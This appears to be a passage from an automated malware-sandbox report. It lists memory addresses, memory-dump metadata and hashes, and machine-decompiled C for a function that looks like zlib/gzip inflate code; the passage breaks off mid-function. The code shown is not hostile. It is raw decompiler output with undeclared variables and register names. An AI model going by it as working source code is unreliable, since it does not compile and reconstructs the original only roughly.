                                                                                                                                                                                          0x00407ec9
                                                                                                                                                                                          0x00407ecc
                                                                                                                                                                                          0x00407ed0
                                                                                                                                                                                          0x00407f1e
                                                                                                                                                                                          0x00407f23
                                                                                                                                                                                          0x00407f4b
                                                                                                                                                                                          0x00407f4b
                                                                                                                                                                                          0x00407f55
                                                                                                                                                                                          0x00407f59
                                                                                                                                                                                          0x00407f5c
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f25
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f25
                                                                                                                                                                                          0x00407f33
                                                                                                                                                                                          0x00407f35
                                                                                                                                                                                          0x00407f39
                                                                                                                                                                                          0x00407f3a
                                                                                                                                                                                          0x00407f3d
                                                                                                                                                                                          0x00407f42
                                                                                                                                                                                          0x00407f43
                                                                                                                                                                                          0x00407f49
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f49
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f25
                                                                                                                                                                                          0x00407ed2
                                                                                                                                                                                          0x00407ed2
                                                                                                                                                                                          0x00407ed7
                                                                                                                                                                                          0x00407f06
                                                                                                                                                                                          0x00407f06
                                                                                                                                                                                          0x00407f10
                                                                                                                                                                                          0x00407f14
                                                                                                                                                                                          0x00407f17
                                                                                                                                                                                          0x00407f61
                                                                                                                                                                                          0x00407f63
                                                                                                                                                                                          0x00407f65
                                                                                                                                                                                          0x00407f69
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ee0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ee0
                                                                                                                                                                                          0x00407eee
                                                                                                                                                                                          0x00407ef0
                                                                                                                                                                                          0x00407ef4
                                                                                                                                                                                          0x00407ef5
                                                                                                                                                                                          0x00407ef8
                                                                                                                                                                                          0x00407efd
                                                                                                                                                                                          0x00407efe
                                                                                                                                                                                          0x00407f04
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f04
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ee0
                                                                                                                                                                                          0x00407ed7
                                                                                                                                                                                          0x00407e5d
                                                                                                                                                                                          0x00407e5d
                                                                                                                                                                                          0x00407e5d
                                                                                                                                                                                          0x00407e63
                                                                                                                                                                                          0x00407e69
                                                                                                                                                                                          0x00407e96
                                                                                                                                                                                          0x00407e96
                                                                                                                                                                                          0x00407e99
                                                                                                                                                                                          0x00407e9b
                                                                                                                                                                                          0x00407e9f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ea5
                                                                                                                                                                                          0x00407ea5
                                                                                                                                                                                          0x00407eaf
                                                                                                                                                                                          0x00407eb2
                                                                                                                                                                                          0x00407eb5
                                                                                                                                                                                          0x00407eb9
                                                                                                                                                                                          0x00407ebd
                                                                                                                                                                                          0x00407f71
                                                                                                                                                                                          0x00407f7e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f84
                                                                                                                                                                                          0x00407f84
                                                                                                                                                                                          0x00407f89
                                                                                                                                                                                          0x00407f8b
                                                                                                                                                                                          0x00407f8b
                                                                                                                                                                                          0x00407f90
                                                                                                                                                                                          0x00407f90
                                                                                                                                                                                          0x00407f93
                                                                                                                                                                                          0x00407f97
                                                                                                                                                                                          0x00407f9c
                                                                                                                                                                                          0x00407f9f
                                                                                                                                                                                          0x00407f90
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407f89
                                                                                                                                                                                          0x00407f7e
                                                                                                                                                                                          0x00407e6b
                                                                                                                                                                                          0x00407e6b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e70
                                                                                                                                                                                          0x00407e7e
                                                                                                                                                                                          0x00407e80
                                                                                                                                                                                          0x00407e84
                                                                                                                                                                                          0x00407e85
                                                                                                                                                                                          0x00407e88
                                                                                                                                                                                          0x00407e8d
                                                                                                                                                                                          0x00407e8e
                                                                                                                                                                                          0x00407e94
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e94
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e70
                                                                                                                                                                                          0x00407e69
                                                                                                                                                                                          0x00407dfd
                                                                                                                                                                                          0x00407dfd
                                                                                                                                                                                          0x00407e07
                                                                                                                                                                                          0x00407e36
                                                                                                                                                                                          0x00407e36
                                                                                                                                                                                          0x00407e3c
                                                                                                                                                                                          0x00407e3e
                                                                                                                                                                                          0x00407e45
                                                                                                                                                                                          0x00407e4a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e10
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e10
                                                                                                                                                                                          0x00407e1e
                                                                                                                                                                                          0x00407e20
                                                                                                                                                                                          0x00407e21
                                                                                                                                                                                          0x00407e24
                                                                                                                                                                                          0x00407e25
                                                                                                                                                                                          0x00407e27
                                                                                                                                                                                          0x00407e2e
                                                                                                                                                                                          0x00407e34
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e34
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407e10
                                                                                                                                                                                          0x00407e07
                                                                                                                                                                                          0x00407db5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407db5
                                                                                                                                                                                          0x00407dc3
                                                                                                                                                                                          0x00407dc8
                                                                                                                                                                                          0x00407dc9
                                                                                                                                                                                          0x00407dcc
                                                                                                                                                                                          0x00407dd8
                                                                                                                                                                                          0x00407dd9
                                                                                                                                                                                          0x00407de0
                                                                                                                                                                                          0x00407deb
                                                                                                                                                                                          0x00407df1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407df1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407db5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407fa6
                                                                                                                                                                                          0x00407fac
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407d92
                                                                                                                                                                                          0x00407d8c
                                                                                                                                                                                          0x00407cc0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407cc0
                                                                                                                                                                                          0x00407cc0
                                                                                                                                                                                          0x00407cc3
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407cc5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407cc5
                                                                                                                                                                                          0x00407cd3
                                                                                                                                                                                          0x00407cd5
                                                                                                                                                                                          0x00407cd6
                                                                                                                                                                                          0x00407cd9
                                                                                                                                                                                          0x00407cda
                                                                                                                                                                                          0x00407cdc
                                                                                                                                                                                          0x00407ce3
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ce3
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407cc5
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407ce5
                                                                                                                                                                                          0x00407cf5
                                                                                                                                                                                          0x00407cfa
                                                                                                                                                                                          0x00407d00
                                                                                                                                                                                          0x00407d03
                                                                                                                                                                                          0x00407d06
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407cc0
                                                                                                                                                                                          0x00407cbb
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407c99

                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
                                                                                                                                                                                          • Instruction ID: d5e3495c9826dce769b252ea72d1bcaf7b5d46a24141b332915225fd3cdae7ad
                                                                                                                                                                                          • Opcode Fuzzy Hash: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
                                                                                                                                                                                          • Instruction Fuzzy Hash: 9852A471A047129FC708CF29C99066AB7E1FF88304F044A3EE896E7B81D739E955CB95
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004073A0, Relevance: .6, Instructions: 633COMMONCrypto
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 87%
                                                                                                                                                                                          			E004073A0() {
				signed char** _t638;
				signed int _t640;
				signed int _t641;
				unsigned int _t667;
				signed char* _t680;
				signed char* _t696;
				signed int* _t714;
				signed int _t716;
				signed char* _t723;
				void* _t730;

				_t638 =  *(_t730 + 4);
				if(_t638 == 0) {
					L330:
					return 0xfffffffe;
				} else {
					_t714 = _t638[7];
					if(_t714 == 0 || _t638[3] == 0 ||  *_t638 == 0 && _t638[1] != 0) {
						goto L330;
					} else {
						if( *_t714 == 0xb) {
							 *_t714 = 0xc;
						}
						_t696 = _t638[1];
						_t667 = _t714[0xe];
						_t723 =  *_t638;
						 *(_t730 + 0x20) = _t638[3];
						_t680 = _t638[4];
						_t640 =  *_t714;
						_t716 = _t714[0xf];
						 *(_t730 + 0x18) = _t680;
						 *(_t730 + 0x10) = _t696;
						 *(_t730 + 0x38) = _t696;
						 *(_t730 + 0x28) = _t680;
						 *(_t730 + 0x30) = 0;
						if(_t640 > 0x1c) {
							L305:
							_t641 = 0xfffffffe;
							goto L306;
						} else {
							do {
								switch( *((intOrPtr*)(_t640 * 4 +  &M004087C4))) {
									case 0:
										if(_t714[2] != 0) {
											if(_t716 >= 0x10) {
												L16:
												if((_t714[2] & 0x00000002) == 0 || _t667 != 0x8b1f) {
													_t642 = _t714[8];
													_t714[4] = 0;
													if(_t642 != 0) {
														 *((intOrPtr*)(_t642 + 0x30)) = 0xffffffff;
													}
													if((_t714[2] & 0x00000001) == 0 || (((_t667 & 0x000000ff) << 8) + (_t667 >> 8)) % 0x1f != 0) {
														( *(_t730 + 0x40))[6] = 0x41d338;
														goto L303;
													} else {
														if((_t667 & 0x0000000f) == 8) {
															_t667 = _t667 >> 4;
															_t693 = (_t667 & 0x0000000f) + 8;
															_t716 = _t716 - 4;
															if(_t693 <= _t714[9]) {
																_push(0);
																_push(0);
																_push(0);
																_t714[5] = 1 << _t693;
																_t647 = E004024A0();
																_t705 =  *(_t730 + 0x1c);
																_t714[6] = _t647;
																 *( *((intOrPtr*)(_t730 + 0x4c)) + 0x30) = _t647;
																 *_t714 =  !(_t667 >> 8) & 0x00000002 | 0x00000009;
																_t730 = _t730 + 0xc;
																_t667 = 0;
																_t716 = 0;
															} else {
																_t705 =  *(_t730 + 0x10);
																goto L302;
															}
														} else {
															_t705 =  *(_t730 + 0x10);
															( *(_t730 + 0x40))[6] = 0x41d338;
															goto L303;
														}
													}
												} else {
													_t714[6] = E00403080(0, 0, 0);
													 *((char*)(_t730 + 0x2c)) = 0x1f;
													 *((char*)(_t730 + 0x2d)) = 0x8b;
													_t650 = E00403080(_t714[6], _t730 + 0x2c, 2);
													_t705 =  *(_t730 + 0x28);
													_t730 = _t730 + 0x18;
													_t667 = 0;
													_t714[6] = _t650;
													_t716 = 0;
													 *_t714 = 1;
												}
												goto L304;
											} else {
												while(_t705 != 0) {
													_t665 = ( *_t723 & 0x000000ff) << _t716;
													_t705 = _t705 - 1;
													_t716 = _t716 + 8;
													_t723 =  &(_t723[1]);
													_t667 = _t667 + _t665;
													 *(_t730 + 0x10) = _t705;
													if(_t716 < 0x10) {
														continue;
													} else {
														goto L16;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											 *_t714 = 0xc;
											goto L304;
										}
										goto L331;
									case 1:
										if(__esi >= 0x10) {
											L32:
											 *(__edi + 0x10) = __ebx;
											if(__bl != 8) {
												goto L302;
											} else {
												if((__ebx & 0x0000e000) == 0) {
													__eax =  *(__edi + 0x20);
													if(__eax != 0) {
														__ebx = __ebx >> 8;
														__ecx = __ebx >> 0x00000008 & 0x00000001;
														 *__eax = __ebx >> 0x00000008 & 0x00000001;
													}
													if(( *(__edi + 0x10) & 0x00000200) != 0) {
														 *(__esp + 0x1c) = __bl;
														__ebx = __ebx >> 8;
														__edx = __esp + 0x20;
														 *(__esp + 0x21) = __bl;
														__eax =  *(__edi + 0x18);
														__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
														__edx =  *(__esp + 0x1c);
														 *(__edi + 0x18) = __eax;
													}
													__ebx = 0;
													__esi = 0;
													 *__edi = 2;
													goto L42;
												} else {
													goto L34;
												}
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L32;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 2:
										if(__esi >= 0x20) {
											L44:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 4) = __ebx;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ecx = __ebx;
												__edx = __ebx;
												__ecx = __ebx >> 8;
												__edx = __ebx >> 0x10;
												__ebx = __ebx >> 0x18;
												__eax = __esp + 0x20;
												 *(__esp + 0x21) = __cl;
												 *((char*)(__esp + 0x22)) = __dl;
												 *(__esp + 0x23) = __bl;
												__ecx =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 3;
											goto L51;
										} else {
											L42:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L44;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 3:
										if(__esi >= 0x10) {
											L53:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												__ebx = __ebx & 0x000000ff;
												 *(__eax + 8) = __ebx & 0x000000ff;
												__ecx =  *(__edi + 0x20);
												__eax = __ebx;
												__eax = __ebx >> 8;
												 *( *(__edi + 0x20) + 0xc) = __eax;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ebx = __ebx >> 8;
												__edx = __esp + 0x20;
												 *(__esp + 0x21) = __bl;
												__eax =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 4;
											goto L58;
										} else {
											L51:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L53;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 4:
										L58:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x10) = 0;
											}
											goto L69;
										} else {
											if(__esi >= 0x10) {
												L62:
												__eax =  *(__edi + 0x20);
												 *(__edi + 0x40) = __ebx;
												if(__eax != 0) {
													 *(__eax + 0x14) = __ebx;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													 *(__esp + 0x1c) = __bl;
													__ebx = __ebx >> 8;
													__ecx = __esp + 0x20;
													 *(__esp + 0x21) = __bl;
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__ebx = 0;
												__esi = 0;
												L69:
												 *__edi = 5;
												goto L70;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L62;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 5:
										L70:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											L83:
											 *(__edi + 0x40) = 0;
											 *__edi = 6;
											goto L84;
										} else {
											__eax =  *(__edi + 0x40);
											 *(__esp + 0x14) = __eax;
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											if(__eax != 0) {
												__ecx =  *(__edi + 0x20);
												if(__ecx != 0) {
													__ecx =  *(__ecx + 0x10);
													 *(__esp + 0x34) = __ecx;
													if(__ecx != 0) {
														 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
														__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
														__edx =  *(__edi + 0x20);
														__edx =  *( *(__edi + 0x20) + 0x18);
														 *(__esp + 0x20) = __ecx;
														if(__ecx > __edx) {
															__eax = __edx;
														}
														__edx =  *(__esp + 0x34);
														__eax =  *(__esp + 0x24);
														__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
														__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
														__eax =  *(__esp + 0x20);
														__edx =  *(__esp + 0x1c);
													}
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x20);
												}
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												 *(__esp + 0x10) = __edx;
											}
											if( *(__edi + 0x40) != 0) {
												goto L312;
											} else {
												goto L83;
											}
										}
										goto L331;
									case 6:
										L84:
										if(( *(__edi + 0x10) & 0x00000800) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x1c) = 0;
											}
											goto L99;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x1c);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L99:
													 *(__edi + 0x40) = 0;
													 *__edi = 7;
													goto L100;
												}
											}
										}
										goto L331;
									case 7:
										L100:
										if(( *(__edi + 0x10) & 0x00001000) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x24) = 0;
											}
											goto L115;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x24);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L115:
													 *__edi = 8;
													goto L116;
												}
											}
										}
										goto L331;
									case 8:
										L116:
										if(( *(__edi + 0x10) & 0x00000200) == 0) {
											L123:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
												__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												__edx =  *(__edi + 0x20);
												 *( *(__edi + 0x20) + 0x30) = 1;
											}
											__eax = E00403080(0, 0, 0);
											__ecx =  *(__esp + 0x4c);
											__edx =  *(__esp + 0x1c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											 *__edi = 0xb;
											goto L304;
										} else {
											if(__esi >= 0x10) {
												L120:
												__ecx =  *(__edi + 0x18) & 0x0000ffff;
												if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
													__ebx = 0;
													__esi = 0;
													goto L123;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L120;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 9:
										if(__esi >= 0x20) {
											L130:
											__ebx = __ebx & 0x0000ff00;
											__ebx = __ebx << 0x10;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
											__ebx = __ebx >> 8;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
											__eax = __ebx >> 0x00000008 & 0x0000ff00;
											__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
											__eax = __ecx + __ebx;
											__ecx =  *(__esp + 0x40);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x40) + 0x30) = __eax;
											__ebx = 0;
											__esi = 0;
											 *__edi = 0xa;
											goto L131;
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L130;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xa:
										L131:
										if( *((intOrPtr*)(__edi + 0xc)) == 0) {
											__eax =  *(__esp + 0x40);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x18);
											 *__eax = __ebp;
											 *(__eax + 0x10) =  *(__esp + 0x18);
											 *(__eax + 4) = __edx;
											 *(__edi + 0x3c) = __esi;
											_pop(__esi);
											_pop(__ebp);
											 *(__edi + 0x38) = __ebx;
											_pop(__ebx);
											__eax = 2;
											return 2;
										} else {
											_push(0);
											_push(0);
											_push(0);
											__eax = E004024A0();
											__edx =  *(__esp + 0x4c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											__edx =  *(__esp + 0x1c);
											__esp = __esp + 0xc;
											 *__edi = 0xb;
											goto L133;
										}
										goto L331;
									case 0xb:
										L133:
										if( *((intOrPtr*)(__esp + 0x44)) == 5) {
											goto L312;
										} else {
											goto L134;
										}
										goto L331;
									case 0xc:
										L134:
										if( *(__edi + 4) == 0) {
											if(__esi >= 3) {
												L140:
												__ecx = __ebx;
												__ebx = __ebx >> 1;
												__eax = __ebx;
												__ecx = __ecx & 0x00000001;
												__eax = __ebx & 0x00000003;
												__esi = __esi - 1;
												 *(__edi + 4) = __ecx;
												if(__eax > 3) {
													L146:
													__ebx = __ebx >> 2;
													__esi = __esi - 2;
												} else {
													switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
														case 0:
															__ebx = __ebx >> 2;
															 *__edi = 0xd;
															__esi = __esi - 2;
															goto L304;
														case 1:
															__eax = __edi;
															__eax = E00407290(__edi);
															__ebx = __ebx >> 2;
															 *__edi = 0x12;
															__esi = __esi - 2;
															goto L304;
														case 2:
															__ebx = __ebx >> 2;
															 *__edi = 0xf;
															__esi = __esi - 2;
															goto L304;
														case 3:
															__eax =  *(__esp + 0x40);
															 *(__eax + 0x18) = 0x41d338;
															 *__edi = 0x1b;
															goto L146;
													}
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 3) {
														continue;
													} else {
														goto L140;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__esi = __esi & 0x00000007;
											__ebx = __ebx >> __cl;
											__esi = __esi - (__esi & 0x00000007);
											 *__edi = 0x18;
											goto L304;
										}
										goto L331;
									case 0xd:
										__esi = __esi & 0x00000007;
										__esi = __esi - (__esi & 0x00000007);
										__ebx = __ebx >> __cl;
										if(__esi >= 0x20) {
											L150:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx =  !__ebx;
											__eax = __ebx & 0x0000ffff;
											__ecx =  !__ebx >> 0x10;
											if(__eax ==  !__ebx >> 0x10) {
												__ebx = 0;
												 *(__edi + 0x40) = __eax;
												__esi = 0;
												 *__edi = 0xe;
												goto L153;
											} else {
												__eax =  *(__esp + 0x40);
												 *(__eax + 0x18) = 0x41d338;
												goto L303;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L150;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xe:
										L153:
										__eax =  *(__edi + 0x40);
										 *(__esp + 0x14) = __eax;
										if(__eax == 0) {
											goto L233;
										} else {
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											__ecx =  *(__esp + 0x18);
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x14) = __eax;
											}
											if(__eax == 0) {
												goto L312;
											} else {
												__ecx =  *(__esp + 0x14);
												__edx =  *(__esp + 0x24);
